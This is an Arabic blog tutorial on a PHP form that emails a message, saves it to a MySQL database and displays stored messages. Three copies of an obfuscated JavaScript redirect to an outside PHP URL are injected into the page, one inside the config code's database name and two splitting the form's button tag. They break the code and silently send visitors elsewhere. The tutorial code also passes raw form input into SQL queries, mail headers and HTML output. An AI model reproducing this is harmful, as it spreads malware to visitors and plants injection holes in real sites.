نموذج اضافة رسالة لقاعدة البيانات + إرسالها بالبريد
السلام عليكم ورحمة الله وبركاته
اهلا بكم من جديد ، في الدرس السابق شرحنا حول كيفية ارسال رسالة بريدية عبر استخدام دالة الـ mail يمكنكم العودة الى ( استخدام دالة الـ mail بواسطة نموذج HTML ) للإستفادة من فكرة دالة الـ mail . اليوم سوف نتطرق الى كيفية زرع الرسائل المُرسلة في قاعدة البيانات واستعراضها.
الخطوة الأولى : انشاء قاعدة البيانات
قبل كل شي يجب عليك تحميل سيرفر محلي Localhost والذي من خلاله يُمكن عمل خادم افتراضي لتجربة برمجيات الإسكربتات قبل رفعها على الإنترنت، وتتوفر الكثير من البرامج لإنشاء سيرفر محلي مثل WampServer، XAMPP، وتدعم أنظمة تشغيل ويندوز، ماك ولينكس.
- قُم بتحميل أي سيرفر محلي ترغب به – ثم توجّه لصفحة phpmyadmin وعلى الأغلب يكون الرابط localhost/phpmyadmin.
- قم بإنشاء قاعدة بيانات جديدة ثم قم بتسميتها واحفظها بعد ذلك.
- املأ حقل اسم الجدول وحدد عدد الحقول المرغوبة.
- املاً الحقول بالتسميات المطلوبة حسب السياق القادم.
- تأكد جيدًا أنّ عنصر ID يحتوي على المفتاح الرئيسي وأن يكون من نوع AI ( Auto Increment )
id=> INT , Length/Values => 11 email=> TEXT , Collation =>uft8 unicode_ci subject => TEXT , Collation =>uft8 unicode_ci meesage => LONGTEXT , Collation =>uft8 unicode_ci sender => TEXT , Collation =>uft8 unicode_ci priority => TEXT , Collation =>uft8 unicode_ci name => TEXT , Collation =>uft8 unicode_ci
الخطوة الثانية:ربط قاعدة البيانات مع PHP (انشاء ملف config.php)
<?php //:انشأنا متغيرات تحمل معلومات الاتصال اللازمة //عنوان المخدم المحلي $local = "localhost"; // اسم قاعدة البيانات $dbname = "message_in<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to_db"; // (root)اسم مستخدم قاعدة البيانات افتراضيا هو، يمكنك تغييره في حال قمت بتعيين اسم مستخدم آخر لديك $dbuser = "root"; // كلمة السر لقاعدة البيانات افتراضيا فارغة، يمكنك تغييرها في حال قمت بتعيين كلمة سر أخرى لديك $dbpass = ""; // عمل اتصال بقاعدة البيانات $connectdb = mysql_connect($local,$dbuser,$dbpass)or die (mysql_error()); //mysql_select_db تحديد اسم قاعدة البيانات عن طريق دالة $selectdb = mysql_select_db($dbname,$connectdb); ?>
الخطوة الثالثة : كتابة نموذج HTML الخاص بحقول الرسالة (index.php)
<html > <head> <meta charset="UTF-8"> <title>Form</title> <link rel="stylesheet" href="css/normalize.css"> <link rel="stylesheet" href="css/style.css"> </head> <body> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>نموذج استبيان</title> <link rel="stylesheet" href="css/normalize.css"> <link rel="stylesheet" href="css/main.css"> </head> <body> <form method="post" action="send.php"> <h1>نموذج اضافة رسالة لقاعدة البيانات + إرسالها بالبريد</h1> <label for="sender">البريد المرسل منه:</label> <input type="text" name="sender"> <label>الاسم الكريم:</label> <input type="text" name="name"> <label for="email">البريد الإلكتروني:</label> <input type="text" id="email" name="email"> <label>عنوان الرسالة</label> <input type="text" name="subject"> <label>أولوية الرسالة</label> <select name="priority"> <option value="مهم">مهم </option> <option value="متوسط">متوسط </option> <option value="عادي">عادي </option> </select> <label>الرسالة</label> <textarea type="text" name="meesage" rows="4" ></textarea> <but<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>ton type="submit" name="submit">إرسال</but<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>ton> </form> </body> </html>
الخطوة الرابعة : انشاء ملف send.php المُستقبل للحقول من نموذج HTML
<?php // config.php لإستدعاء ملف ()include دالة include "config.php"; // تعريف واستدعاء المتغيرات بناءً على الحقول ومسميات name لكل حقل بنموذج html $sender = $_POST['sender']; $name = $_POST['name']; $email = $_POST['email']; $subject = $_POST['subject']; $priority =$_POST['priority']; $meesage = $_POST['meesage']; //UTF-8 وبترميز html متغير يقوم بتضمين توجيه الرسالة إلى المرسل إليه بالإضافة إلى تحديد نوع محتوى الرسالة أنّه من نوع $headers $headers = "From: " . $sender . "\r\n" . "MIME-Version: 1.0\r\n". "Content-Type: text/html; charset=UTF-8\r\n"; // وذلك بتنسيق جدول يحتوي على البيانات المُعتمدة من النموذح html متغير هو المتغير الأساسي لمحتوى الرسالة حيثّ أن المتغير يحتوي على رسالة من نوع $message $message_email = ' <html> <body> <table style="border-color: #666;" cellpadding="10"> <tr style="background: #eee;"> <td><strong>الاسم:</strong> </td> <td>' . $name. '</td> </tr> <tr> <td><strong> البريد الإلكتروني:</strong> </td> <td>' . $email. '</td> </tr> <tr> <td><strong>عنوان الرسالة:</strong> </td> <td>' .$subject. '</td> </tr> <tr> <td><strong>أولوية الرسالة:</strong> </td> <td>' . $priority . '</td> </tr> <tr> <td><strong>الرسالة:</strong> </td> <td>' . $meesage . '</td> </tr> </table> '; /* دالة الـ mail تحتوي على أربع بارامتر بحسب السلسة والترتيب من اليسار المتغير الأول للمرسل إليه المتغير الثاني لعنوان الرسالة المتغير الثالث لمحتوى الرسالة المتغير الرابع لتنسيق وتوجيه الرسالة */ $send = mail($email, $subject, $message_email, $headers); // شرط للتحقق من عملية الإرسال if(isset($send)) // في حال نجاح الإرسال { // تعريف متغير اضافة الحقول لقاعدة البيانات $insert_data = mysql_query("INSERT INTO messages (email,subject,meesage,sender,priority,name) VALUES('$email','$subject','$meesage','$sender','$priority','$name') ") or die(mysql_error()); // عرض رسالة نجاح الإرسال echo '<h3>رائع!، لقد نجحنا بنموذجنا الخاص، يُمكنك اختبار ذلك مرة أخرى !</h3>'; if($insert_data){ echo "تمّ إضافة الرسالة أيضًا بقاعدة البيانات."; } }else{ // في حالة فشل الإرسال // عرض رسالة فشل الارسال echo '<h3>لم يتمّ ارسال الرسالة، يبدو أنّ هناك خطأ - عاود الإرسال مرة أخرى!</h3>.<br />'; } // نهاية شرط التحقق ?>
الخطوة الاخيرة انشاء صفحة لعرض البيانات المرسلة من قاعدة البيانات
<html > <head> <meta charset="UTF-8"> <title>Show All Data</title> <link rel="stylesheet" href="css_table/normalize.css"> <link rel="stylesheet" href="css_table/style.css"> </head> <body> <?php // config.php لجلب ملف ()include دالة include "config.php"; //mysql_query بأستخدام دالة massages انشاء متغير يحدد كل الحقول من جدول // تطبع لنا الاخطاء die دالة $select_data = mysql_query("SELECT * from messages")or die (mysql_error()); // طباعة تنسيق الجدول echo '<table class="responstable">'; echo ' <tr> <th>اسم المرسل</th> <th>بريد المرسل</th> <th>أولوية الرسالة</th> <th>عنوان الرسالة</th> <th>نص الرسالة</th> <th>البريد المرسل منه</th> </tr>'; // //حلقة while لوب الغرض منها استنباط البيانات من خلال متغير $select_data وأمّا عن الدالة المخصصة للإستنباط mysql_fetch_array() فمُهمتها الإستعلام وإرجاع البيانات على هيئة مصفوفات يُمكن عرضها بحسب الأعمدة المبنية بقاعدة البيانات. while($row = mysql_fetch_assoc($select_data)) { echo ' <tr> <td>'.$row["name"].'</td> <td>'.$row["email"].'</td> <td>'.$row["priority"].'</td> <td>'.$row["subject"].'</td> <td>'.$row["meesage"].'</td> <td>'.$row["sender"].'</td> </tr>'; } ?> </table> <script src='http://cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.js'></script> </body> </html>
شكرًا لقراءتك هذه التدوينة!